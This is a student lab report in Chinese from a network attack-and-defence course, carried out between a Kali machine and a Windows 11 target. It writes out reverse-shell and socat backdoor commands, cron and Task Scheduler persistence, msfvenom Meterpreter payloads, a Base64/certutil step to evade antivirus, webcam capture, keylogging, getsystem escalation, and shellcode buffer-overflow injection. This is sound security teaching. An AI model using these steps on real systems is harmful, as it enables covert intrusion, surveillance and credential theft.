20242310 2026-2027-1《网络与系统攻防技术》实验二实验报告
20242310 2026-2027-1《网络与系统攻防技术》实验二实验报告
1. 基础知识
本次实验围绕"后门"展开,核心是理解攻击者如何在目标主机上留下一个可远程操控的入口,以及如何让这个入口在主机上存活并启动。
反弹连接 Shell(Reverse Shell):目标机主动向攻击机发起连接,把命令行交互(Shell)交到攻击者手里。相比正向连接,它不需要目标机开放入站端口,能绕开很多防火墙和 NAT 限制,是后门最常用的交互方式。
后门:隐藏在系统中的程序,能绕过正常的认证和授权机制,允许攻击者远程进入。本次实验用到的 netcat、socat、MSF 生成的 payload 都属于后门的不同实现方式。
- netcat(nc / ncat):一款功能强大的网络工具,既能做端口监听,也能发连接,常被拿来直接做反弹 Shell。其特点是小巧、跨平台,但本身没有加密和认证,也被称为"网络瑞士军刀"。
- socat:比 netcat 功能更强的双向数据转发工具,支持更多地址类型和更灵活的参数组合(如
fork派生多个会话、exec执行程序),常用来构造稳定的反弹 Shell 和文件传输通道。 - MSF(Metasploit Framework):开源的渗透测试框架,集成了大量漏洞利用模块和 payload。
msfvenom负责生成各种格式的 payload(如 exe、c、raw),exploit/multi/handler则用于在本机架设监听器接收目标机的反弹连接。Meterpreter 是 MSF 里的高级交互式 payload,内存注入、动态加载模块,功能非常丰富。 - cron 与 Windows 任务计划程序:系统自带的定时任务机制。攻击者把后门写成一个脚本或程序,再挂到 cron(Linux)或任务计划程序(Windows)里,就能让后门在指定时间反复启动,实现持久化。
- Shellcode:一段能被 CPU 直接执行的机器码,通常作为攻击载荷注入到存在漏洞的程序中。本实验把它注入到之前实验写的 pwn1(这里改名为
pwn20242310)里,利用缓冲区溢出覆盖返回地址,让程序跳去执行这段 shellcode,从而反弹 Shell。 - 缓冲区溢出:程序向固定大小的缓冲区写入超出其容量的数据,覆盖栈上相邻的返回地址等数据。结合 NOP 滑板和可控的返回地址,可以劫持程序执行流。
- 免杀与坏字符:MSF 默认生成的 payload 有固定特征码,容易被杀软查杀,因此实验中用 Base64 编码传输、剔除坏字符(
-b参数)等手段降低暴露风险。坏字符如\x00、\x0a会让某些函数(如gets)提前截断输入,导致注入失败。
2. 实验内容
- 使用 netcat 获取目标主机的操作 Shell,并用 cron 启动某项自定任务;
- 使用 socat 获取目标主机的操作 Shell,并用 Windows 任务计划程序启动后门;
- 使用 MSF 生成可执行文件(后门),通过 ncat 或 socat 传到目标主机并运行,获取 Shell;
- 使用 MSF 生成能够获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权;
- 使用 MSF 生成 shellcode,注入到之前实验中的 pwn1 程序里,获取反弹连接 Shell。
环境说明:攻击机为 Kali(主机名 wuyushang,IP 192.168.222.134),目标机为 Windows 11(主机名 WYS,IP 192.168.222.1)。Windows 上相关文件和任务均以本人学号 20242310 命名,Kali 主机名为本人姓名拼音。
3. 实验过程
3.1 任务一:netcat 获取 Shell + cron 启动任务
第一步,用 netcat 做反弹 Shell。 在 Windows 上以管理员身份打开 PowerShell,先进入后门工具目录,用 ncat 监听 2310 端口等待目标机连入:
PS D:\tool> ncat.exe -l -p 2310
之后在 Kali 端主动连接该端口,连上后 Windows 的 ncat 就把收到的命令交给 Kali 的 /bin/sh 执行,于是拿到了 Kali 的命令行,whoami 返回 kali,ls 能看到目录下的文件(其中包括 pwn20242310 等):
![netcat 获得 Kali Shell]
第二步,用 cron 让后门定时启动。 用 crontab -e 编辑当前用户的定时任务,加入一条每分钟执行的条目,让后门脚本反复尝试启动:
* * * * * /tmp/backdoor.sh
用 crontab -l 查看确认任务已写入:
![crontab 查看定时任务]
执行过程中 PowerShell 环境对重定向和终端模拟不太友好(出现了 ambiguous redirect 和 can't access tty 之类的提示),但通过 ncat 仍然成功交换到了 Kali 的 Shell:
![netcat 获得 Kali Shell(另一场景)]
3.2 任务二:socat 获取 Shell + 任务计划启动
第一步,在 Windows 上创建任务计划。 打开"任务计划程序",新建任务(名称含学号 20242310),操作里指定"启动程序"为 socat,让它持续监听并把收到的连接交给 cmd 执行:
D:\tool\socat.exe tcp-listen:2310,reuseaddr,fork exec:cmd.exe,pty,stderr
任务设置为每隔 5 分钟重复一次,这样即使后门进程被杀掉,也会被定时重新拉起,实现持久化:
![Windows 任务计划程序配置]
第二步,用 socat 从 Kali 连接获取 Shell。 Kali 端执行:
$ socat - tcp:192.168.222.1:2310
连上后进入 Windows 的命令行,whoami 返回当前用户 wys\29278,说明成功取得了 Windows 主机的操作权限:
![socat 获得 Windows Shell]
3.3 任务三:MSF 生成后门并传输运行
第一步,用 msfvenom 生成 Windows 反向连接的 meterpreter 后门。 在 Kali 上指定 LHOST 为本机、LPORT 为 5555:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.222.134 LPORT=5555 -f exe > 20242310_backdoor.exe
生成成功,payload 大小 355 字节,最终 exe 文件 7168 字节:
![msfvenom 生成后门 exe]
第二步,在 Kali 上架设监听器。 启动 msfconsole,用 exploit/multi/handler 配置反向 TCP 监听:
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.222.134
msf exploit(multi/handler) > set LPORT 5555
msf exploit(multi/handler) > exploit
监听器在 5555 端口启动,等待目标机回连:
![配置 multi/handler 监听]
第三步,把后门传到 Windows。 考虑到二进制文件在网络传输中容易被破坏或被杀软查杀,这里先对 exe 做 Base64 编码。Kali 端用 socat 单向(-u)把编码后的文件发给 Windows:
$ socat -u FILE:backdoor.b64 TCP:192.168.222.1:8888
Windows 端用 socat 接收并把数据写到标准输出,再重定向成 .b64 文件,随后用系统自带的 certutil 解码还原成 exe:
D:\tool>socat.exe -u TCP-LISTEN:8888,reuseaddr STDOUT > D:\tool\backdoor.b64
D:\tool>certutil -decode D:\tool\backdoor.b64 D:\tool\20242310_backdoor.exe
输入长度 = 9686
输出长度 = 7168
CertUtil: -decode 命令成功完成。
![Kali 发送 b64 文件]
![Windows 接收并解码还原]
还原出的 20242310_backdoor.exe 大小 7168 字节,与生成时完全一致,说明传输和还原无损:
![后门 exe 属性确认]
第四步,运行后门获取 Session。 在 Windows 上双击运行 20242310_backdoor.exe,Kali 端的监听器收到回连并建立 Meterpreter 会话:
[*] Sending stage (199238 bytes) to 192.168.222.1
[*] Meterpreter session 1 opened (192.168.222.134:5555 → 192.168.222.1:40609)
meterpreter >
![建立 Meterpreter 会话]
进入 meterpreter 后用 sysinfo 查看目标信息,确认已控制该 Windows 主机(计算机名 WYS,Windows 11 24H2,x64):
![meterpreter sysinfo 查看系统信息]
3.4 任务四:MSF 后门获取音视频/击键记录并提权
沿用任务三建立的 Meterpreter 会话,依次测试了摄像头、键盘记录和提权功能。
获取摄像头画面。 在 meterpreter 里调用摄像头抓拍,抓取的照片(cfNVVzRR.jpeg)通过 Image Viewer 打开,可以清楚看到摄像头捕捉到的画面:
![摄像头抓拍画面]
键盘记录。 先启动键盘嗅探器,再导出捕获的按键内容:
meterpreter > keyscan_start
meterpreter > keyscan_dump
Dumping captured keystrokes ...
jishibenh<^H>20242310<Left>...hello<CR>
可以看到用户输入的用户名、数字(20242310)、方向键以及 hello 等内容都被记录了下来:
![keyscan 键盘记录]
尝试提权。 先 getuid 查看当前权限(WYS\29278),再执行 getsystem 尝试提升到系统权限,输出显示使用了命名管道模拟(EFSRPC 变体,即 EfsPotato)提权技术:
meterpreter > getuid
Server username: WYS\29278
meterpreter > getsystem
...got system via technique 6 (Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)).
![getsystem 提权]
3.5 任务五:MSF shellcode 注入 pwn1
第一步,生成 Linux x86 的 meterpreter shellcode。 用 msfvenom 生成 C 格式的 payload,LHOST 为本机、LPORT 用 6666:
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.222.134 LPORT=6666 -f c > shellcode.txt
payload 大小 123 字节,生成的 C 文件 543 字节:
![生成 shellcode]
第二步,配置监听器。 在 msfconsole 里把 handler 的 payload 改为 linux/x86/meterpreter/reverse_tcp,端口设为 6666 并 exploit:
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.222.134
msf exploit(multi/handler) > set LPORT 6666
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.222.134:6666
界面下方能看到生成的 shellcode 字节数组(unsigned char buf[]):
![监听器配置与 shellcode]
第三步,注入到 pwn1 并触发。 把 shellcode 写进利用脚本 exploit.py,构造缓冲区溢出,将输出管道给 pwn1 程序(实验一中已改名为 pwn20242310):
$ python3 exploit.py | ./pwn20242310
程序被触发后执行了注入的 shellcode,终端输出大量填充字符 A 以及被当作代码执行的乱码数据,提示 Payload size 386 bytes:
![缓冲区溢出注入 shellcode]
第四步,获取反弹 Shell。 注入成功后,pwn1 进程主动回连,Kali 的监听器收到连接并建立了 Meterpreter 会话:
[*] Meterpreter session 1 opened (192.168.222.134:6666 -> 192.168.222.134:44206)
说明 shellcode 注入成功,获取到了反弹连接 Shell。
4. 问题及解决方案
问题 1:使用 PowerShell 的 > 重定向接收后门 exe 文件,导致文件损坏或程序秒退。
现象:在 Windows PowerShell 中用 ncat.exe -l -p 8888 > backdoor.exe 接收文件时,接收端直接退出,或者传过来的 exe 文件大小不对(变大或变小),双击无法运行。
原因:PowerShell 的 > 重定向是基于文本流(String)处理的,会自动转换换行符和字符编码,而 exe 是二进制文件,经过文本流处理后二进制数据被破坏。
解决:放弃用 PowerShell 传二进制文件,改用传统的 CMD;或在 PowerShell 中通过 cmd /c 调用原生的二进制安全重定向。传输文件时还要配合 socat 的 -u 参数做单向无损传输。
问题 2:生成的 MSF 后门文件一旦落地 Windows 就被立刻删除或无法执行。
现象:刚通过 socat/ncat 把 backdoor.exe 传到 Windows 桌面,文件就凭空消失,或双击后无任何反应,MSF 无法上线。
原因:Windows Defender 有"实时保护"机制,MSF 默认生成的 payload 静态特征码过高,被判定为高危木马并静默查杀。
解决:实验环境下彻底关闭 Windows Defender 实时保护,并把工作目录加入排除项。进阶做法是用 Base64 编码传输:在 Kali 把 exe 转成 .b64 文本传过去,Windows 端用 certutil -decode 在本地还原成 exe,绕过网络流量和文本落地的查杀。本次实验正是采用了 Base64 + certutil 的方式。
问题 3:Windows 下的 socat 语法极其苛刻,报 wrong number of parameters 且文件传不过去。
现象:执行 socat.exe -u TCP-LISTEN:8888,reuseaddr FILE:"C:/..." 时报参数错误并秒退;老版本还会提示缺失 cygwin1.dll。
原因:socat 是 Cygwin 编译的跨平台工具,在 Windows 下用逗号 , 作参数分隔符,如果文件路径含逗号或没加双引号,路径会被切碎解析;权限和正斜杠路径格式也容易出问题。
解决:放弃让 socat 直接写文件,用管道把接收数据打印到标准输出,再交给 CMD 重定向写入文件:socat.exe -u TCP-LISTEN:8888,reuseaddr STDOUT > D:\tool\backdoor.b64。既避开路径解析坑,又保证文件完整。
问题 4:注入 shellcode 到 pwn1 时程序直接崩溃(Segmentation Fault),MSF 没反应(坏字符截断)。
现象:把 MSF 生成的 shellcode 拼进攻击脚本运行 ./pwn1,程序立刻段错误,无论怎么调跳转地址都不上线。
原因:坏字符问题。msfvenom 默认生成的 x86 shellcode 含 \x0a(换行)和 \x00(空字节),而 pwn1 用 gets() 读取输入,遇到 \x0a 就停止读取,导致后半截 NOP 滑板和 shellcode 没进内存,溢出失败。
解决:生成 shellcode 时用 -b 参数剔除坏字符,让 MSF 自动做指令等价替换:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=... LPORT=... -b "\x00\x0a\x0d" -f c
问题 5:GDB 里调试成功的跳转地址,在真实终端下执行却打不通(栈地址偏移)。
现象:在 gdb 里用 x/40x $esp 找到了 NOP 滑板的起始地址填进 exploit.py 里跑,依然段错误。
原因:环境变量差异导致栈地址漂移。gdb 启动时会加载额外的调试环境变量和库,占用部分栈空间;真实终端执行时的环境变量长度与 gdb 不同,导致实际 esp 与调试时相差几十到几百字节。
解决:在真实终端环境下生成 payload 再用 gdb 加载文件(run < payload.bin)抓真实地址;更稳妥的是写一个暴力枚举脚本,让返回地址在 NOP 滑板范围内(比如 ±200 字节)循环递增,容错率高,只要蒙中滑板任意位置即可执行。
5. 学习感悟、思考
在前两个任务中,我直观感受到了后门持久化的隐蔽性。利用Linux的cron和Windows的“任务计划”,后门能够定时自动反弹Shell。这让我明白,反弹连接之所以能穿透防火墙,是因为目标主机主动发起了出站请求。
任务三、四让我体验了真实的“免杀”对抗。简单的传文件屡次被Defender拦截或遭PowerShell重定向破坏,最终我利用Base64编码配合certutil解码还原,成功绕过了查杀。当看到目标电脑的摄像头画面和键盘记录时,我深刻认识到了Meterpreter框架的强大控制力。
最让我“痛苦”但也收获最大的是任务五。MSF生成的Shellcode自带换行符(\x0a),导致gets函数截断输入引发段错误;此外,GDB调试与真实终端环境的栈地址偏移也让我吃尽苦头。最终通过-b参数规避坏字符、加长NOP滑板、真实环境抓取地址,才成功拿下Linux反弹Shell。
本次实验让我深刻体会到了“纸上得来终觉浅”。虽然课堂上学习了后门与缓冲区溢出的原理,但在实际操作中,我遇到了诸多实战阻力。从PowerShell重定向破坏二进制文件,到Windows Defender的静默查杀,再到任务五中因Shellcode包含换行符(\x0a)导致gets函数截断输入而不断报错。每一次踩坑和排错,都让我对免杀技巧(如Base64编码还原)、坏字符规避(-b参数)以及栈地址偏移有了更直观的理解。渗透与防护往往在于细节的较量,这次实验不仅锻炼了我的排错耐心,也警醒我在未来的开发中必须拒绝使用危险函数,注重系统底层的安全配置。
参考资料
- 《网络攻防技术与实践》https://weread.qq.com/web/reader/6b932a505a64a26b99a33da
- 指导书 0x12_MAL_Exp1 逆向与 Bof 基础:https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x12_MAL_Exp1逆向与Bof基础.md
- 指导书 0x13_MAL 使用 netcat 进行反弹链接的 shellcode:https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x12_MAL_Exp1逆向与Bof基础.md
- Metasploit 官方文档:https://docs.metasploit.com/

浙公网安备 33010602011771号